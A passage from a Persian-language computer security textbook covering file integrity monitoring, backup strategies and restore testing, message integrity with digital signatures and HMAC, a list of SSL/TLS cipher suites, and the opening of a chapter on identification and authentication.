افزار در  تواند بصورت محلي براي رديابي چندين نسخه از نرم  مي CVS يا   RCS مانند    نترل نسخه ك سيستم   كنگهداري شوند، يا ي   
  .ار رودك شاخه واحد بكي

انجام صحيح   ارتقا بصورت     تا چنانچه نصب   سيستم پيش از انجام تغييرات باشد     امل از   ك پشتيبان   ك ي ةترين روش، تهي    شايد مطمئن 
  .توان سيستم را به حالت قبلي بازگرداندبنشد 

   و نصبپارچگيكنظارت بر ي

پـارچگي  ك قسمت مهـم از پـشتيباني ي       كافزار سيستم ي    روز بودن نرم  سب اطمينان از به   كشوند  ه اصلاحهاي جديد منتشر مي    كزماني
 - و اطلاعـات بـا ارزش شـما          -افـزار سيـستم         ه نرم كسب اطمينان از اين است      كه به همان اندازه مهم است       ك ديگري   ةتكن. است
اسـتفاده   مجازي نبايد بتواند از اطلاعات شما سـوء       پردازة غير اربر يا   كآل هيچ   در حالت ايده  . نندكه انتظار آنرا نداريد تغيير نمي     كزماني
شف و اطلاعـات    كصورت وقوع   ها را در     استفاده نيد تا بتوانيد سوء   ك مداوم نظارت    طوراطلاعات خود ب  ست بر    ا در عمل ضروري  . ندك

  .ه بتوانيد آنها را به حالت قبلي بازگردانيدكاي آرشيو نماييد خود را بگونه

  استفاده سوء

فايلهـاي  از  اربران و فايلهـا،     ك ـ اختيـارات    علاوه بر مراقبت در سازماندهي    . استفاده چندين راه مختلف وجود دارد      براي مبارزه با سوء   
تواننـد رمزگـذاري     فايلها همچنين مـي   . ردكهداري   نگ ١١٥خواندني- فقط هايرسانهتوان روي     نند مي ك ه دير به دير تغيير مي     كمهمي  

حذف يا خـراب  ار، همچنان كعليرغم اين ن است   كمم (. نياز باشد  يبيشتربه گذر از مراحل امنيتي      شوند تا براي تغيير اطلاعات موجود در آنها         
  ).انپذير باشدكردن اين فايلها امك

ه كليدي  ك تعداد فايلهاي    هنگاميکهتر يا   كوچكدر سيستمهاي   . استفاده وجود دارد   ردن سوء كار  كهاي زيادي براي آش     همچنين شيوه 
. توانـد اسـتراتژي مـؤثري باشـد      ي م ١١٦نوشتني- فقط هايرسانه پشتيبان از فايلها روي      ةبايد از آنها محفاظت شود محدود است، تهي       

 پشتيبان براي احياي آن     ةاز نسخ توان    مي فايل خراب شد،     كشوند و اگر ي   مي خود مقايسه    ةفايلها بطور منظم با همتاهاي آرشيوشد     
  .گرددمي پشتيبان نيز با آن هماهنگ ة تغيير مجاز به فايل داده شود، نسخكرد، و وقتي يكاستفاده 
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.  محاسبه و ذخيره شوند و يا با رمزگذاري تحت محافظت قـرار گيرنـد              offlineتوانند بصورت     يلهاي مهم مي   فا ةهاي رمزشد خلاصه
 آن بـا    ةه خلاص كرد  كتوان فايل جديدي توليد       ه نمي كهاي رمزشده اين است      ويژگي مهم خلاصه   كه پيشتر گفته شد ي    كهمانطور  

 inoculationه اغلـب  ك ـ -ردي مـشابه  كتوانند عمل   ضدويروس مي  بعضي از سيستمهاي  .  محاسبه شده تطبيق داشته باشد     ةخلاص
مـورد اسـتفاده از فايلهـاي        در فـصل پـنجم در     . شـوند   وارد فايلهـاي اجرايـي مـي      سرجمعها  ه  ك داشته باشند، آنجا     -شود    ناميده مي 
  .شود هاي سيستم بحث مفصلتري ارائه ميهاي رمزشده براي مميزي مداوم دادهاي و خلاصه مقايسه

  هاي پشتيبانسخهن
تـوان از وقـوع     و معمولاً عليرغم بهترين تلاشها نميردكبيني   توان پيش   نقصها، حوادث، بلاياي طبيعي، و حملات به سيستم را نمي         

حتـي اگـر    .  وضعيت پايدار برسانيد   كتوانيد سيستم خود را ترميم نماييد و به ي           اما اگر پيشتيبان داشته باشيد مي      ؛آنها جلوگيري نمود  
توانيـد بعـد از خريـد دسـتگاه     از پشتيبانها ميامل ك ة مجموعك از دست بدهيد، با ي-سوزي   مثلاً به علت آتش- خود را   ةتمام رايان 

ت بيمـه تـأمين شـود، امـا         كتواند توسـط شـر    گردان جديد مي  ك و ديس  ريزپردازنده ةهزين. جايگزين، اطلاعات خود را بازيابي نماييد     
  .قابل جايگزيني خواهد بودره در بسياري از موارد غيكاطلاعات شما چيزي است 

شـد و   بدون دليـل مشخـصي خـراب مـي        معمولاً  افزار رايانه     اري مرسوم شده بود، چون سخت     ك پشتيبانهاي روزانه    ةسالها قبل، تهي  
دليـل خـوبي بـراي تهيـه        افـزار هنـوز        سخت يامروز هم خراب  . آيدبه حساب مي   پشتيبان تنها راه مقابله با از دست رفتن داده           ةنسخ

 سخت خوب بطـور     ك ديس كحتي اگر ي  چراکه   ،املاً تصادفي است  كديسک سخت   احتمال خراب شدن    . پشتيبان از سيستمها است   
 خرابـي قابـل   ك سخت بايد در هـر چنـد مـاه منتظـر ي ـ    ك ديس۳۰ تا ۲۰ند، سازماني با حدود   كمي بيشتر عمر    ك سال يا    ۵متوسط  

ه مورد اسـتفاده قـرار      ك گاهي اوقات تنها چند روز بعد از آن        -شوند    معمولاً بدون هشدار قبلي خراب مي     گردانها  كديس. ملاحظه باشد 
  .هاي زماني منظم استدر بازه  پشتيبان از سيستمةار عقلاني تهيكبنابراين . گرفتند

امل بـه شـما اجـازه       كبخصوص، پشتيبان   . ها در برابر حملات باشند      ردن رايانه كتوانند ابزار مهمي براي ايمن      پشتيبانها همچنين مي  
اولين پشتيبان از سيـستم خـود را   . رده بيابيدك فايلهاي روي رايانه و فايلهاي روي پشتيبان، آنچه را مهاجم عوض        ةدهد با مقايس    مي

اولـين  . مال نماييداربردي خود را نصب و اصلاحهاي لازم امنيتي را اعكهاي  نيد، و بعد از آن برنامه   كعامل تهيه     بعد از نصب سيستم   
ه ك ـرده اسـت، بل   ك ـنيد تا بفهميد چه چيـزي تغييـر         كدهد سيستم خود را بعد از حمله تحليل           تنها به شما اجازه مي     پشتيبان نه  ةنسخ

  .اهش دهدك ساخت مجدد سيستم را نيز يِزمانوقفة تواند افزار نيز ميدرصورت وقوع خرابي در سخت

  نيمكچگونه پشتيبان تهيه 

  :هايي اشاره شده است ذيلاً به نمونه کهگيرندل مختلف از پشتيبانها مورد استفاده قرار ميكدين شامروزه چن

 ؛ با ظرفيت زيادك مغناطيسي متحرك نوري يا ديسكفايلهاي حياتي در ديسبرداري از نسخه •
 ؛اسيك يا انعspare ك ديسك در يكديسهر از چندگاه برداري نسخه •
 ؛افزاري افزاري يا نرم سخت RAID١١٧ت همزمان با استفاده از سيستمهاي  بصوركردن دو ديسكاسي كانع •
اني ديگـر   ك ـآنهـا روي سيـستم اوليـه و يـا در م           از  توانيـد     ه مـي  ك از فايلهاي مهم؛     tar، يا   zip  ،sitاي  دورهبايگانيهاي   ةتهي •

 د؛نيك نگهداري
 تيبان روي نوار نوري يا مغناطيسي؛ و پشة نسخةتهي •
 ـ     كفايلها از طريق شب    پشتيبان براي    ةتهي •  سـرويس   كه صـاحب آن هـستيد، يـا روي ي ـ         ك ـ ديگـري    ةه يا اينترنـت روي رايان

 .گيري اينترنتي پشتيبان
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ننـد و تنهـا از      ك فايلهاي شما را بررسـي       MD5سرجمعهاي  توانند    مثلاً مي . نندكتوانند بسيار ماهرانه عمل     بعضي از اين خدمات مي    
 Microsoftه روي تمـام آنهـا برنامـه    ك ـاگر شما هزاران رايانه داشته باشيد دراينصورت . رندتا هستند پشتيبان بگيكه يكفايلهايي 

Officeشونداضافه نميها به پشتيبان دام از فايلهاي آن برنامهك وجود داشته باشد، هيچ. 

  نيمكاز چه چيزي پشتيبان تهيه 

  :اي وجود دارد لي براي سيستمهاي پشتيبان رايانهكدو روش 

هـاي مهـم   ، فايلهـاي داده و شـاخه      ياربرك ـ حـسابهاي    - ه در سيستم شما منحصر به فـرد اسـت         كتيبان از هرآنچه     پش ةتهي .١
 ك ي ـةنـد و زمـان تهي ـ  ك جـويي مـي   صرفهكاين شيوه در نوار يا ديس     .  شده است  ١١٨اختصاصي شما   ةه براي رايان  كسيستمي  

 خود و سپس  عامل رايانه  ابتدا با نصب مجدد سيستمدرصورت خراب شدن سيستم، ترميم را . دهد  اهش مي ك پشتيبان را    ةنسخ
 .نماييدنيد، و بعد از آن نوارهاي پشتيبان خود را احيا ميكاربردي شروع ميكهاي   برنامهةنصب مجدد هم

نوار هم  قيمت   و   ؛ه از سيستم است   ك ت كامل آسانتر از ترميم ي    ك سيستم بطور    ك چون بازسازي ي   - پشتيبان از همه چيز      ةتهي .٢
 .باشد زان ميار

ايـد پيـشتر روي     ردهك ـه شـما از آن پـشتيبان تهيـه          ك ـه قـسمتي از اطلاعـاتي       كعليرغم اين .  دوم بايد ترجيح داده شود     ةعموماً شيو 
گيـري  ايـد پـشتيبان     ردهك ـاستفاده  از آنها   ديسک سخت   ه براي بارگذاري سيستم به روي       كهاي اصلي توزيع شده يا نوارهايي       كديس
شـود،    ه عمر سيـستم شـما زيـاد مـي         كهمينطور  آن  علاوه بر   . شوند  هاي توزيع هم گاهي اوقات گم مي      كا يا ديس  اند، ولي نواره  شده
شـوند و يـا تغييـرات       شف و اصلاح مـي    كه  كهاي امنيتي   شوند؛ مثل حفره  عامل نصب مي     سيستم ةهاي رزروشد ها روي شاخه    برنامه

دانيـد اگـر   نيـد، مـي  ك خرابي بازسـازي  ك را بعد از وقوع ي  شيد سيستم خود  رده با كبار سعي   كنون ي كاگر تا   . دهنده رخ مي  كديگري  
  .تر استچقدر سادهار كانجام هرچيزي سر جاي خود باشد روند 

 ة از جملـه هم ـ    -ه براي نصب مجـدد سيـستم نيـاز اسـت            كه هرچيزي   كبه اين معنا    (ه همه چيز سيستم خود را       كشود    به همين دليل توصيه مي    
طول اين بازه زمـاني بـه سـرعت تجهيـزات         . نيدك پشتيبان ذخيره    ةهاي معين زماني روي رسان    هر از چندگاه در بازه    ) فايلهاي نهايي را  

شـايد  . بـستگي دارد   اختصاص داده شده به پـشتيبانها و همچنـين نيازهـاي سـازمان شـما                 ةگير شما و ميزان فضاي حافظ       پشتيبان
  .ار را انجام دهيدك، و يا شايد بخواهيد تنها دو بار در سال ايننيدكامل تهيه كبار پشتيبان كاي ي بخواهيد هفته

  هاانواع پشتيبان

  .، پشتيبان كامل، و پشتيبان افزايشي)روز صفر( پشتيبان سطح صفر :لي پشتيبان وجود داردكسه نوع 

  )روز صفر(پشتيبان سطح صفر 
ه افراد شروع بـه اسـتفاده از        كشود، پيش از آن     اول نصب مي  وقتي سيستم شما براي بار      . ندكپي تهيه مي  ك كاز سيستم اصلي شما ي    

آميز بـه سيـستم انجـام    موفقيت نفوذ  ك بعد از ي   گيرياين پشتيبان اگر  . نيدكنند، از هر فايل و برنامه در سيستم پشتيبان تهيه           كآن ب 
  .ارزش باشدبياملاً كن است كشود مم

  املكپشتيبان 
ه هـر از چنـدگاه انجـام        ك است، جز اين   "پشتيبان روز صفر  "اين روش مشابه    . شود  ن گرفته مي  پي روي پشتيبا  ك كاز هر فايل رايانه ي    

  .شودمي
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  پشتيبان افزايشي
 ةمثل تاريخ تهي ـ  (يا تاريخ خاص    ) اربردي داراي ضعف  ك ةمثل اصلاح برنام  ( اتفاق خاص    كه بعد از ي   كشود    ميبرداري  نسخه هاييتنها از فايل  

امـروزه اسـتراتژي رايـج    . شودنار هم استفاده ميكامل و پشتيبان افزايشي معمولاً در    كاز پشتيبان   . اندردهكتغيير  ) املكپشتيبان  آخرين  
  :بشرح زير استگيري پشتيبان

 ؛ و هفته در ميانكاولين روز هفته بصورت يدر امل ك پشتيبان ةتهي •
اين نوع پشتيبان افزايشي    . افتد در سيستم مي   املكآخرين پشتيبان   پس از تهية    ه  ك پشتيبان افزايشي در پايان هر اتفاقي        ةتهي •

پـشتيبان  انـد، گـاهي اوقـات    ردهك ـتغيير امل كه از زمان تهيه آخرين پشتيبان    كند  ك  مي بايگانيهايي را   ه آندسته فايل  كاز آنجا   
 .شود  ناميده مي١١٩تفاوتي

. ننـد ك گـردان طراحـي و ذخيـره مـي        كديـس  يـا    partition پـشتيبانهاي خـود را بـر اسـاس           ةثر راهبران سيستمهاي بزرگ تهي    كا
partition      ه شـما  ك ـه هـر تغييـري   ك ـنظريـه  بر اساس ايـن    .  نياز دارند  گيريپشتيبانمختلف  هاي متفاوت معمولاً به استراتژيهاي

ه در ك ـزمـان  قاعدتاً بايد هر ) اگر از هم جدا باشند    (سيستم شما    partitionها مثل   partitionدهيد بسيار پر اهميت است، برخي از          مي
امـل بهـره بـرد، زيـرا     كبراي اين سيستمها بجاي پشتيبان افزايشي بايد از پشتيبانهاي          . گيري شوند  شود پشتيبان آنها تغيير ايجاد مي   

اربردي ك ـهـاي   ردن برنامـه  ك ـه تنها براي ذخيـره      كهمينطور بخشهايي   . استامل بودن قابل استفاده     كآنها فقط درصورت    پشتيبان  
هـاي موجـود تغييـر      ربندي برنامه كهاي جديد نصب شوند و يا پي        ه برنامه كگيري نياز دارند    د تنها هنگامي به پشتيبان    شون  استفاده مي 

  .نندك

گيرند مناسبتر    اربر مورد استفاده قرار مي    ك فايلهاي   ةه جهت ذخير  كهايي  partitionهاي افزايشي براي    گيري  از طرف ديگر پشتيبان   
ان ك ـه امك ـاري ك ـنيد تا درصورت وقوع خرابي، مقدار     كي استفاده   گيررراً از اين نوع پشتيبان    كهيد م ن است شما بخوا   كاست؛ اما مم  

  .رسانده باشيددارد از دست بدهيد را به حداقل 

. نيـد كي بصورت چرخشي اسـتفاده      گيرهاي پشتيبان ك مجموعه نوارها يا ديس    كنيد، از ي  ك ه پشتيبانيهاي افزايشي ايجاد مي    كهنگامي
اينـصورت  در غير. نوشـته شـود  ن اسـتفاده شـده   ه براي نسخه پشتيبان شب گذشته از آكيبان امشب نبايد بر روي نواري     پشت ةنسخ

هاي پـشتيبان     داده:  را از دست خواهيد داد     كهاي روي ديس    گيري امشب خراب شود، شما همة داده      چنانچه رايانه در اواسط پشتيبان    
 آل بطـور ايـده  ). چون قسمتي از آن بوسـيله پـشتيبان امـشب جـايگزين شـده اسـت      (ن شب گذشته   هاي پشتيبا   ، و داده  )چون ناقص است  (امشب  
  . نوار مجزا داشته باشيدك هفته يبار انجام دهيد، و براي هر شبِكگيري افزايشي را شبي يپشتيبان

  پشتيبان را تا چه زماني نگه داريم

بنابراين شـما بايـد بعـضي از نوارهـاي         .  فايل حذف شده است    كيه  كشد تا متوجه شويد     ك ماه طول ب   ك هفته يا ي   كن است ي  كمم
 ة ماه ـ ۳بسياري از سازمانها پشتيبانهاي سالانه يا       . نيدكماه، و بعضي را چندين ماه نگهداري        كهفته، بعضي را ي   كپشتيبان را بمدت ي   

 ،ننـد كة خود را براي هميشه نگهـداري مـي        نسالانها نيز پشتيبانهاي سالانه يا دو     بعضي از سازما  . نندكخود را براي هميشه آرشيو مي     
در بعـضي از    . آيـد ي بـه حـساب مـي      كگذاري انـد    ار آيند سرمايه  كه آنها روزي ب   كان  كار در مقابل اين ام    كاينچراکه به هرحال انجام     

بـراي  را ) سابداريح ـثبتهاي مثل (ها  پشتيبانهاي انواع خاصي از دادهنگهداري ه كن است شرايط قانوني وجود داشته باشد       كشورها مم ك
ثر زمان نگهداري پـشتيبانها    كه حدا ك ١٢٠ها  تخريب داده  سياست براي    ك داشتن ي  از طرف ديگر  . الزامي کرده باشد   دورة حداقلي    كي

  .ند نيز حائز اهميت استك را مشخص مي

با اين روش هر وقت بـه  . گر يا فهرست از اسامي فايلهاي روي نوارهاي پشتيبان خود نگهداريد        نشانه كن است شما بخواهيد ي    كمم
توانيد با بررسـي فهرسـت، نـوار          ه مجبور شويد هر نوار را بطور جداگانه بخوانيد مي         كنيد، بجاي اين  ك فايل نياز پيدا     كاحياي مجدد ي  
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 خـوبي اسـت، خـصوصاً اگـر فهرسـت           ة چاپي از اين فهرستها هم ايد      ة نسخ كدر دست داشتن ي   . نيدكصحيح براي استفاده را پيدا      
  !ن است لازم باشد احيا شودكه ممك شما روي سيستمي قرار داشته باشد ونيکيالکتر

نيـد،  ك  سيـستم پـشتيبان جديـد خريـداري مـي          كه ي كنيد، مطمئن شويد زماني     كاگر از پشتيبانها براي مدت طولاني نگهداري مي       
س و كة هـيچ ه بوسـيل ك ـايي مواجه شويد ن است با نواره كدر غير اينصورت مم   . شوندهاي پشتيبان بدرستي روي آن منتقل مي        داده

راهبري فضايي و هوايي ايالات     مؤسسة ملي   اين موضوع براي دانشگاههاي تحقيقاتي مهم و حتي         . توان آنها را خواند   جا نمي كهيچ  
  . هم روي داده است١٢١)NASA (متحده

   پشتيبانةات تهيكساير ن

  :ان وجود داردار مناسب ديگر براي افزايش قابليت اطمينان پشتيبكچند راه

   پشتيبانةرارشوندكهاي ت استفاده از مجموعه
بـا ايـن اسـتراتژي    . نيـد ك اسـتفاده  ١٢٢پشتيبان پشت سر هم ك مجزاي نوارهاي پشتيبان براي ايجاد ي    ةتوانيد از دو مجموع     شما مي 
 را انجـام  - A افزايـشي  -ي خـود  سپس وقتي اولين پشتيبان افرايش   . نيدكتهيه مي ) B و   Aبنامهاي  (امل  كگيري، دو پشتيبان    پشتيبان

 - موجـود باشـند      B حتـي اگـر در پـشتيبان         -اند را    ساخته يا تغيير داده شده     Aپشتيبان  آخرين   ةه بعد از تهي   كداديد، تمام فايلهايي    
آخرين  ةز تهي ه بعد ا  ك تمام فايلهايي    - B افزايشي   -دهيد  گيري افزايشي انجام مي   ه پشتيبان كدومين باري   . نيدك گيري مي پشتيبان

اين سيـستم در برابـر خرابـي        .  موجود باشند  A حتي اگر در پشتيبان افزايشي       -نويسيد    اند را مي   ساخته يا تغيير داده شده     Bپشتيبان  
 ةه شـما بـراي تهي ـ     ك ـار زمـاني    كاينهرچند ،گيري شده است  گيري مقاوم است، چون از هر فايل در دو محل پشتيبان          رسانه پشتيبان 

  .ندك نيد را دو برابر ميكن صرف مي پشتيباةنسخ

  جايگزيني نوارها درصورت نياز
بر اساس  . آيديفيتشان پايين مي  كاي    نيد تا اندازه  ك ه شما بوسيله نوارگردان از آنها استفاده مي       كي هستند و هر بار      كنوارها رسانة فيزي  

وشـندگان بـراي نوارهايـشان      بعـضي از فر   . نيـد كيـين   تعطـول عمـر مفيـد        ك خود از نوارگردان و نوار، بايد براي هر نوار ي ـ          ةتجرب
ه فروشـنده در ايـن   ك ـنيـد  كخوب دقـت  . نندك ار را نميك، ولي بعضي هم اين) چرخه۲۰۰۰ سال يا ۳ براي مثال (ارند  ذگهايي مي محدوديت

 ـكه با اسـتفاده از ي ـ كاي به ياد داشته باشيد هزينه. اي دارد و آنرا زير پا نگذاريد  زمينه چه توصيه   وار بعـد از اتمـام عمـر مفيـد آن      ن
  .ندك خسارت اساسي برابري نميكان جبران نشدن يكنيد، با هزينة امك انداز مي پس

  نوارگردانهاي خود را تميز نگهداريد
 ك ي ـ ها از نيد و طبق توصيه   ك نوارگردان پيروي    ة فروشند ة زماني پيشگيران  ةنيد، از برنام  كاگر پشتيبانهاي خود را روي نوار ذخيره مي       

ثيف بودن نـوارگردان آزاردهنـده      ك نوار بدليل    كناتواني در خواندن ي   .  ديگر استفاده نماييد   مکانيزم ك مناسب يا ي   ةنندكفشنگ تميز 
مورد استفاده قـرار  تواند   خرابي نميكايد خراب است و درصورت وقوع يه روي نوار نوشته  كاي  وقتي معلوم شود داده   خصوصاً  است؛  
  .بگيرد

  پشتيبانتصديق صحت 
افـزار شـما    ه تجهيزات و نرمكتا مطمئن شويد بخوانيد نيد بطور تصادفي چند فايل را براي احيا از پشتيبان           كهر از چندگاه بايد سعي      

اند و وقتـي سـراغ      گردانهاي خود را از دست داده     كه ديس كاي وجود دارد      ز رايانه كداستانهاي زيادي دربارة مرا   . نندك ار مي كبدرستي  
نامناسـب  روالهـاي  يفيـت،   كتواند نتيجـة نوارهـاي بـي        اين اتفاق مي  . انداند، آنها را غيرقابل خواندن يافته       اي پشتيبان خود رفته   ه  نوار

  .لات ديگر باشدكافزار خراب، خطاي اپراتور، يا مش گيري، نرمپشتيبان
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ار كه سيستم پشتيبان شما بدرستي      كا مطمئن شويد    نيد ت كل سيستم خود را از پشتيبانها احيا        كنيد  كبار در سال بايد سعي      كحداقل ي 
ار ك ـ را ب نيـد و رايانـه  كتوانيد تمام نوارهاي خود را احيا  ه آيا ميكنيد و ببينيد  كنشده شروع   ربنديك متفاوت و پي   ة رايان كبا ي . ندك مي

ايـن آزمايـشهاي   . انـد  ما از دسـت رفتـه     ه بعضي از فايلهاي مهم در نوارهاي پشتيبان ش        كشويد  گاهي اوقات متوجه مي   . اندازيد يا نه  
  .لات و حل آنها هستندكشف مشكعملي بهترين زمان براي 

. بار در ماه و تلاش بـراي احيـاي مجـدد آن اسـت             كبار در هفته يا ي    ك فايل بطور تصادفي ي    كانتخاب ي مناسب،   آزمايش بسيار    كي
عمليـات احيـاي واقعـي را بـسيار         ن است   كجربه اين احياها مم   ه ت كه پشتيبانها جامع هستند، بل    كرد  كار نه تنها مشخص خواهد      كاين

  .ندكتر ساده

گيري پشتيبان،  ١٢٣ورتيس پريستون كتاب  ك -تاب مجزا باشد    ك كتواند موضوع ي     مي هاي پشتيبان و احيا    سيستم ةبحث مفصل دربار  
  .  نمونة عالي استكه توسط انتشارات اوريلي به چاپ رسيده يك Unix١٢٤و ترميم 

  انتقالپارچگي كي
فرسـتيد،  ه بـراي شـخص ديگـري مـي        كاي را روي شب   ه وقتي داده  كسب اطمينان از اين   كدهد براي   ار ارائه مي  ك راه كرمزنگاري ي 

 اسـتراتژي   كي. ندك دريافت مي  - عمدي   ةاستفاد شده از خرابي تصادفي يا سوء      محافظت -ايد  ه شما فرستاده  كهمانطور  آنرا  گيرنده  
 الگـوريتم متقـارن يـا       ك خلاصة رمزشده و رمزگذاري خلاصه با ي ـ       ك با محاسبة ي   -بصورت ديجيتالي   متداول شامل امضاي فايل     

گيرنـده خلاصـه را از   . است) ن است خودش هم بدليل محرمانگي رمزگذاري شده باشـد كه ممك( و سپس ارسال آن به همراه فايل -نامتقارن  
پارچگي پيام تـضمين    كردند، ي كاگر ايندو مطابقت    . ندك رمزگشايي مي  شده را رده و سپس خلاصة ارسال    كروي فايل مجدداً محاسبه     

  .شده است

ليد رمـزي  ك كه روي يكيافته بين دو طرف   پارچگي پيامي انتقال  ك ديگري براي تأييد ي    روش (HMAC) ١٢٥تصديق پيام  hashتابع  
پيـام از هـر دوي اينهـا    ه تـابع خلاص ـ كي ـليد را براي محاسبة ك ك پيام اصلي و ي  HMAC. باشداند مي ردهكبا هم توافق    مشترک  

. نـد كنشي را خنثـي  كشود تا حملات وال نيز گنجانده ميكهاي سري پروتگاهي اوقات اطلاعات اضافي مثل شماره    . ندك يب مي كتر
ه بـا   گيرنـد . دهـد    را به همراه پيام اصلي انتقال مي       HMACرده و   كليد، و هر اطلاعات اضافه را محاسبه        ك،  HMACفرستندة پيام،   

، و  ) سـري مـورد انتظـار      ةبه همراه اطلاعات اضـافه، مثـل شـمار        (ند  ك محاسبه مي مجدداً   را   HMAC ،ليد رمز كپي خود از    كاستفاده از پيام و     
بقت داشـته    اگر مطا  ، و ه آيا مطابقت دارند يا خير     كند تا ببيند    ك  دريافت شده مقايسه مي    HMAC محاسبه شده را با      HMACسپس  

  .رده استكه پيام اصلي تغيير پيدا نكپيام عوض نشده، گيرنده خواهد دانست  خلاصهباشند، آنگاه چون

رونـد، چـون بـه نـسبت امـضاهاي          ار مي كاستفاده ب  ه در مقابل سوء   كلهاي شب كردن پيامهاي پروت  كها براي مقاوم    HMACمعمولاً  
 كهـا بـر اسـاس ي ـ      HMACعليرغم اين موارد،    . دتر هستن كوچكشوند و همچنين از نظر اندازه       ديجيتالي بسيار سريعتر محاسبه مي    

ليـد عمـومي    كهاي  ضاهاي ديجيتالي معمولاً با سيـستم     ه ام كه بايد از خطر محافظت شود، درحالي      كاند  گذاري شده پايهمشترک  ليد  ك
يـب  ك از ترلهـا معمـولاً   كايـن پروت  . انـد ه ساخته شده  كسازي اتصالات شب  ل رمزنگاري عمومي براي ايمن    كچندين پروت . نندكار مي ك

 ةنند، بـه اضـاف  كهويت، رمزگذاري، و تصديق صحت پيام را پشتيباني تصديق ليد، كاند تا مبادلة  الگوريتمهاي رمزنگاري ساخته شده 
هاي جلـسه بـه       ليدكو  تبادلي  هاي    دهنده چگونه در مورد الگوريتمها، استوارنامه      سرويس كگيرنده و ي   سرويس كه ي كاينمشخصات  

  :ندك يبات الگوريتمها پشتيباني ميك از اين ترSSL/TLSل كبراي مثال پروت. يدتوافق خواهند رس

EDH-RSA-DES-CBC3-SHA SSLv3 Kx=DH  Au=RSA Enc=3DES(168) Mac=SHA1 
EDH-DSS-DES-CBC3-SHA SSLv3 Kx=DH  Au=DSS Enc=3DES(168) Mac=SHA1 
DES-CBC3-SHA  SSLv3 Kx=RSA  Au=RSA Enc=3DES(168) Mac=SHA1 
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DHE-DSS-RC4-SHA  SSLv3 Kx=DH  Au=DSS Enc=RC4(128) Mac=SHA1 
RC4-SHA SSLv3 Kx=RSA Au=RSA Enc=RC4(128) Mac=SHA1 
RC4-MD5 SSLv3 Kx=RSA Au=RSA Enc=RC4(128) Mac=MD5 
EXP1024-DHE-DSS-RC4-SHA SSLv3 Kx=DH(1024) Au=DSS Enc=RC4(56) Mac=SHA1 export 
EXP1024-RC4-SHA SSLv3 Kx=RSA(1024) Au=RSA Enc=RC4(56) Mac=SHA1 export 
EXP1024-DHE-DSS-DES-CBC-SHA SSLv3 Kx=DH(1024) Au=DSS Enc=DES(56) Mac=SHA1 
export 
EXP1024-DES-CBC-SHA SSLv3 Kx=RSA(1024) Au=RSA Enc=DES(56) Mac=SHA1 export 
EXP1024-RC2-CBC-MD5 SSLv3 Kx=RSA(1024) Au=RSA Enc=RC2(56) Mac=MD5 export 
EXP1024-RC4-MD5 SSLv3 Kx=RSA(1024) Au=RSA Enc=RC4(56) Mac=MD5 export 
EDH-RSA-DES-CBC-SHA SSLv3 Kx=DH Au=RSA Enc=DES(56) Mac=SHA1 
EDH-DSS-DES-CBC-SHA SSLv3 Kx=DH Au=DSS Enc=DES(56) Mac=SHA1 
DES-CBC-SHA  SSLv3 Kx=RSA Au=RSA Enc=DES(56) Mac=SHA1 
EXP-EDH-RSA-DES-CBC-SHA SSLv3 Kx=DH(512) Au=RSA Enc=DES(40) Mac=SHA1 export 
EXP-EDH-DSS-DES-CBC-SHA SSLv3 Kx=DH(512) Au=DSS Enc=DES(40) Mac=SHA1 export 
EXP-DES-CBC-SHA SSLv3 Kx=RSA(512) Au=RSA Enc=DES(40) Mac=SHA1 export 
EXP-RC2-CBC-MD5 SSLv3 Kx=RSA(512) Au=RSA Enc=RC2(40) Mac=MD5 export 
EXP-RC4-MD5  SSLv3 Kx=RSA(512) Au=RSA Enc=RC4(40) Mac=MD5 export 

هويـت  تـصديق    ،) باشـد  RSA يـا    Diffi-Hellmanتواند  ه مي ك،  Kx(ليد  ك ة الگوريتم را براي استفاده جهت مبادل      ك ي ، الگوريتم يبِكهر تر 
)Au  ،تواند  ه مي كRSA   يا DSS (، رمزگذاري   )باشدEnc  ،تواند  ه مي كDES ،DESگانه،  سهRC4 يا ،RC2 دهاي ك ـ، و ) باشـد معـين ليـد  كول ط  با

  .ندك مشخص مي)  باشدMD5 يا SHA1تواند ه ميك، Mac(دسترسي به پيام 
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  فصل پنجم
 شناسايي و تصديق هويت

  كليات
تـصديق اختيـار،    و   ؛رسـاند    هويت را به اثبات مـي      كعتبار ي  تصديق هويت، ا   . موضوع است  ك هويت با ي   كشناسايي ارتباط دادن ي   

ن ك ـشناسايي و تـصديق هويـت مم      . يد دارد كاين فصل روي دو مفهوم بالا تأ      . باشدميهويت   كارتباط دادن حقوق يا امتيازات با ي      
ه كسيـستم مبتنـي بـر شـب     كن است ي ـكند انجام شود، يا ممكه فرد از آن استفاده ميكاري ك ايستگاه  ك ي ةاست به تنهايي بوسيل   
زي ذخيـره شـده و توسـط گروههـاي     كدهنده مر  سرويسكاربران در يكه در آن هويتهاي     كعهده داشته باشد    تصديق هويت را بر     

  . گذاشته شده استكها به اشتراگيرندهسرويس

   شناساييفنون
ننـد، و بقيـه    كار مي كاربري و رمزهاي عبور     كاسامي  ترين آنها بر اساس       ساده. برند  ار مي كها سيستمهاي شناسايي مختلفي را ب       رايانه

وجود دارند نيز هايي سيستم. مختلف را بسنجند انسانهاي ةتوانند مشخصات مميز ه ميكافزارهاي مخصوصي هستند    بر اساس سخت  
  .نندكار ميكليد عمومي كه بر اساس رمزنگاري ك

رد؛ و البتـه خوشـبختانه   ك ـ آنها را به اشتباه انداخت و از سدشان عبور نتوانهرگز  ه  كهاي شناسايي اينگونه نيستند     كنيك از ت  كهيچي
 ةاهش مخـاطر كه كردن جعل هويت نيست، بل   كن  كممثر سيستمهاي شناسايي غير   كهدف ا . ه اينگونه باشند  كثر آنها نيازي ندارند     كا

مـي مقـدار   كاي شناسايي تعيين  هدف مهم ديگر سيستمهكي.  سطح قابل قبول استكهاي وارده به يجعل هويت و ميزان خسارت  
ه ك ـشـود    باقيمانـده باعـث مـي      ةمي مقدار مخاطر  كتعيين  چراکه   ؛ه بعد از استقرار سيستم هنوز باقي مانده است        كاي است   مخاطره

هاي شناسايي جايگزين، و حتي ميزان پوشـش لازم بيمـه بـراي حفاظـت در                 سياستها، نياز يا تمايل به سيستم      ةسازمان بتواند دربار  
  .لاهبرداري تصميم بگيردكاحتمال وقوع ابل مق

  يكشناسايي فيزي
توانيد شيد، آنگاه مي  ك ماشين ب  ةرايك آژانس   كارت اعتباري خود را روي دستگاه اعتباري ي       ك  و نيدكالمللي پرواز      فرودگاه بين  كبه ي 
رايـه  كه آژانـس    ك ـتنهـا تـضميني     . يـد نكتا مقصد خود رانندگي     داشته باشد   بيش از بيست هزار دلار ارزش       شايد  ه  ك ماشين   كبا ي 

